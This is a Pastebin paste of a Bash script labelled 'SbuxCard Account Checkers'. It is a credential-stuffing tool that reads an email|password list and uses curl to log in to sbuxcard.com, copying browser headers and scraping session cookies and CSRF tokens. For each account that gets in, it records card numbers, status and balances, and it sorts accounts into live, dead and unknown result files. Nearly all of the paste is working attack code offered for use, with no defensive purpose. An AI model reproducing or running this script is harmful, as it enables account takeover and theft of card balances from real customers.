HenryGlazt

kontol

Jul 27th, 2018
682
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 8.84 KB | None | 0 0
  1. #!/bin/bash
  2. RED='\033[0;31m'
  3. CYAN='\033[0;36m'
  4. YELLOW='\033[1;33m'
  5. ORANGE='\033[0;33m'
  6. PUR='\033[0;35m'
  7. GRN="\e[32m"
  8. WHI="\e[37m"
  9. NC='\033[0m'
  10.  
  11. echo ""
  12. printf "   $WHI ============================================================ \n"
  13. printf "   $GRN#       $RED█████╗ ██╗      ██████╗███████╗███████╗ ██████╗  $GRN  #\n"
  14. printf "   $GRN#       $RED██╔══██╗██║     ██╔════╝██╔════╝██╔════╝██╔════╝ $GRN  #\n"
  15. printf "   $GRN#       $RED███████║██║     ██║     ███████╗█████╗  ██║  $GRN  #\n"    
  16. printf "   $GRN#       $RED██╔══██║██║     ██║     ╚════██║██╔══╝  ██║  $GRN  #\n"    
  17. printf "   $GRN#       $RED██║  ██║███████╗╚██████╗███████║███████╗╚██████╗ $GRN    #\n"
  18. printf "   $GRN#       $RED╚═╝  ╚═╝╚══════╝ ╚═════╝╚══════╝╚══════╝ ╚═════╝ $GRN    #\n"
  19. printf "   $WHI ------------------------------------------------------------ \n"
  20. printf "   $YELLOW           SbuxCard Account Checkers              \n"
  21. printf "\n"
  22. printf "   $YELLOW            -AlchaDecode-             \n"
  23. printf "   $WHI ============================================================ \n"
  24. printf "$NC\n"
  25.  
  26.  
  27. # Asking user whenever the
  28. # parameter is blank or null
  29.   # Print available file on
  30.   # current folder
  31.   # clear
  32.   read -p "Show Directory Tree(Y/n): " show
  33.   if [[ ${show,,} == 'y' ]]; then
  34.   echo ""
  35.   tree
  36.   echo ""
  37.   fi
  38.   read -p "Enter mailist file: " inputFile
  39.   if [[ ! $inputFile ]]; then
  40.   printf "$YELLOW Please input the file \n"
  41.   exit
  42.   fi
  43.   if [ ! -e $inputFile ]; then
  44.   printf "$YELLOW File not found \n"
  45.   exit
  46.   fi
  47.  
  48.   if [[ $targetFolder == '' ]]; then
  49.   read -p "Enter target folder: " targetFolder
  50.   # Check if result folder exists
  51.   # then create if it didn't
  52.   if [[ ! $targetFolder ]]; then
  53.   echo "Creating Hasil/ folder"
  54.     mkdir Hasil
  55.     targetFolder="Hasil"
  56.   fi
  57.   if [[ ! -d "$targetFolder" ]]; then
  58.     echo "Creating $targetFolder/ folder"
  59.     mkdir $targetFolder
  60.   else
  61.     read -p "$targetFolder/ folder exists, append to them?(Y/n): " isAppend
  62.     if [[ $isAppend == 'n' ]]; then
  63.     printf "$YELLOW == Thanks For Using AlcSec == \n"
  64.       exit
  65.     fi
  66.   fi
  67. else
  68.   if [[ ! -d "$targetFolder" ]]; then
  69.     echo "Creating $targetFolder/ folder"
  70.     mkdir $targetFolder
  71.   fi
  72. fi
  73.   read -p "Delay time(Default 15s): " perSec
  74.   if [[ $perSec="" ]]; then
  75.         perSec=15
  76.   fi
  77. totalLines=`grep -c "@" $inputFile`
  78. con=1
  79. printf "$CYAN=================================\n"
  80. printf "$YELLOW       CHECKING PROCESS\n"
  81. printf "$CYAN=================================\n"
  82. check(){
  83. time=$5;
  84. header="`date +%H:%M:%S`"
  85. getc=$(curl -c s_cookie.tmp "https://www.sbuxcard.com/index.php?page=signin" -H "Connection: keep-alive" -H "Cache-Control: max-age=0" -H "Upgrade-Insecure-Requests: 1" -H "User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" -H "Accept-Encoding: gzip, deflate, br" -H "Accept-Language: en-US,en;q=0.9" --compressed -D - -s -o page.tmp);
  86. srvid=$(cat s_cookie.tmp | grep "SRVID" | grep -Po '(?<=SRVID   )[^ ]*');
  87. visiid=$(cat s_cookie.tmp | grep "visid_incap_1107200" | grep -Po '(?<=visid_incap_1107200  )[^ ]*');
  88. inc=$(cat s_cookie.tmp | grep "incap_ses_392_1107200" | grep -Po '(?<=incap_ses_392_1107200 )[^ ]*');
  89. phpsesid=$(cat s_cookie.tmp | grep "PHPSESSID" | grep -Po '(?<=PHPSESSID    )[^ ]*');
  90. token=$(cat page.tmp | grep '<input type="hidden" name="token" value="' | grep -Po '(?<=value=")[^"]*');
  91. rm page.tmp
  92. rm s_cookie.tmp
  93. #login now
  94. login=$(curl -c s_cookie.tmp 'https://www.sbuxcard.com/index.php?page=signin' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: https://www.sbuxcard.com' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: https://www.sbuxcard.com/index.php?page=signin' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'Cookie: visid_incap_1107200='$visiid'; _ga=GA1.2.891933291.1526394790; incap_ses_188_1107200='$inc'; PHPSESSID='$phpsesid'; SRVID='$srvid'; _gid=GA1.2.531461359.1527096831; _gat=1' --data 'token='$token'&Email='$1'&Password='$2'&txtaction=signin&emailcount='$3'&passcount='$4'' --compressed -D - -s -o page.tmp);
  95. if grep -q "index.php?page=account" page.tmp; then
  96.  
  97. newinc=$(cat s_cookie.tmp | grep "incap_ses_392_1107200" | grep -Po '(?<=incap_ses_392_1107200  )[^ ]*');
  98. newphpsesid=$(cat s_cookie.tmp | grep "PHPSESSID" | grep -Po '(?<=PHPSESSID )[^ ]*');
  99. rm s_cookie.tmp
  100. rm page.tmp
  101. sleep 3;
  102. page=$(curl -c s_cookie.tmp 'https://www.sbuxcard.com/index.php?page=cards' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: https://www.sbuxcard.com/index.php?page=account' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'Cookie: visid_incap_1107200='$visiid'; _ga=GA1.2.891933291.1526394790; SRVID='$srvid'; _gid=GA1.2.531461359.1527096831; incap_ses_188_1107200='$newinc'; _gat=1; PHPSESSID='$newphpsesid'' --compressed -D - -s -o page.tmp)
  103. cardlist=$(cat page.tmp | grep -Po '(id="(.*?)" class="card-list)');
  104. cardid=$(echo $cardlist | grep -Po '(?<=id=")[^"]*');
  105. aid=$(cat page.tmp | grep '&data=ey');
  106. ajax=$(echo $aid | grep -Po '(?<="ajax=)[^&]*');
  107. a=($(echo "$cardid" | tr ' ' '\n'))
  108. sleep 3;
  109. total=$(cat page.tmp | grep "My Card(s)" | grep -Po '(?<=<h2 class="mc-title">My Card(s) | Total: )[^<]*');
  110. echo "$email|$pass | $total |" >> $6/ResultSbuxLive.tmp;
  111. numb=${#a[@]}
  112. for (( i=0; i<$numb; i++)); do
  113. card=$(curl -c s_cookie.tmp 'https://www.sbuxcard.com/ajaxController.php?ajax='$ajax'&data='${a[$i]}'&_=1527158116120' -H 'Cookie: visid_incap_1107200='$visiid'; _ga=GA1.2.891933291.1526394790; _gid=GA1.2.531461359.1527096831; SRVID='$srvid'; incap_ses_188_1107200='$newinc'; PHPSESSID='$newphpsesid'; _gat=1' -H 'X-NewRelic-ID: UQcHU15WGwcHV1JXDgU=' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36' -H 'Accept: */*' -H 'Referer: https://www.sbuxcard.com/index.php?page=cards' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' --compressed -D - -s -o pageo.tmp)
  114. cnum=$(cat pageo.tmp | grep '<strong>Card Number</strong>' | grep -Po '(?<=<td>: )[^<]*');
  115. status=$(cat pageo.tmp | grep -Po '(?<=<font color="#009933">)[^<]*');
  116. balance=$(cat pageo.tmp | grep '<span id="cbal">
  117.                                 <font color="' | grep -Po '(?<=<font color="#009933"> )[^<]*');
  118. if [[ ! $status ]];then
  119. status='deactive';
  120. fi
  121. if [[ ! $balance ]];then
  122. balance=0;
  123. fi
  124. echo -e "($cnum-$status-$balance)\c";
  125. echo -e "($cnum-$status-$balance)" >> $6/ResultSbuxLive.tmp;
  126. done
  127.         printf "$GRN $total $CYAN[$header] $NC[ ./Alchmst] \n";
  128.         sleep $time
  129. elif grep -q "index.php?page=signin" page.tmp; then
  130.         printf "$RED DIE $CYAN[$header] $NC [ ./Alchmst] \n";
  131.         echo "[DIE] $email|$pass">> $6/ResultSbuxDie.tmp
  132.         sleep $time
  133. else
  134.         printf "$RED UNKNOWN $CYAN[$header] $NC [ ./Alchmst] ";
  135.         echo "[UNKNOWN] $email|$pass">> $6/ResultSbuxUnknown.tmp
  136.         sleep $time
  137. fi
  138. }
  139.  
  140. SECONDS=0
  141. for mailpass in $(cat $inputFile); do
  142.     email=$(echo $mailpass | cut -d "|" -f 1)
  143.     pass=$(echo $mailpass | cut -d "|" -f 2)
  144.     jmail=${#email}
  145.     jpass=${#pass}
  146.     indexer=$((con++))
  147.     printf "$CYAN $totalLines/$indexer $NC $email|$pass - "
  148.     check $email $pass $jmail $jpass $perSec $targetFolder
  149. done
  150. if [[ -e $targetFolder/ResultSbuxUnknown.tmp ]]; then
  151. for empas in $(cat $targetFolder/ResultSbuxUnknown.tmp); do
  152. email=$(echo $mailpass | cut -d "|" -f 1)
  153.     pass=$(echo $mailpass | cut -d "|" -f 2)
  154.     jmail=${#email}
  155.     jpass=${#pass}
  156.     indexer=$((con++))
  157.     printf "$CYAN $totalLines/$indexer $NC $email|$pass - "
  158.     check $email $pass $jmail $jpass $perSec $targetFolder
  159. done
  160. fi
  161. duration=$SECONDS
  162. printf "$YELLOW $(($duration / 3600)) hours $(($duration / 60)) minutes and $(($duration % 60)) seconds elapsed. \n"
  163. printf "$YELLOW=============== AlcSec - AlchaDecode =============== \n"
Advertisement
Add Comment
Please, Sign In to add comment